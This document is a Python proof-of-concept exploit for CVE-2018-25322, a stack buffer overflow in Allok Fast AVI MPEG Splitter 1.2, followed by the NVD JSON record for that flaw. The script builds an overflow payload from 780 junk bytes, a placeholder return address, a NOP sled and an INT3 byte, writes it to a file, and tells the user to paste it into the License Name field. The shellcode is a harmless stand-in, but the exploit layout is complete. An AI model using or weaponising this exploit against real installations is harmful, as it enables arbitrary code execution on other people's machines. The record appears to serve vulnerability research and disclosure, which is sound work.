CVE-2018-25322

#!/usr/bin/env python3 # PoC for CVE-2018-25322 # Generates a malicious payload to trigger the buffer overflow import struct # Payload structure based on description: # 780 bytes of junk data + structured shellcode # We typically need a return address overwrite between junk and shellcode. # Assuming 780 bytes is the offset to EIP. offset = 780 # Placeholder for a return address (e.g., JMP ESP instruction address) # This address needs to be specific to the target application version and OS modules. ret_addr = struct.pack('<L', 0xAAAAAAAA) # Simple shellcode (NOP sled + INT3 for demonstration) # In a real scenario, this would be msfvenom generated shellcode nop_sled = b"\x90" * 32 shellcode = b"\xCC" # Interrupt 3 to crash/trigger debugger payload = b"A" * offset + ret_addr + nop_sled + shellcode try: with open("exploit.txt", "wb") as f: f.write(payload) print(f"[+] Payload generated successfully. Size: {len(payload)} bytes") print("[+] Copy the content of 'exploit.txt' into the License Name field.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2018-25322", "sourceIdentifier": "[email protected]", "published": "2026-05-17T13:16:43.537", "lastModified": "2026-05-18T17:29:53.643", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allok Fast AVI MPEG Splitter 1.2 contains a stack based buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious license name string. Attackers can craft a payload with 780 bytes of junk data followed by structured shellcode and place it in the License Name field to trigger the overflow and execute code with application privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "http://www.alloksoft.com", "source": "[email protected]"}, {"url": "http://www.alloksoft.com/allok_vconverter.exe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/44341", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/allok-fast-avi-mpeg-splitter-stack-based-buffer-overflow", "source": "[email protected]"}]}}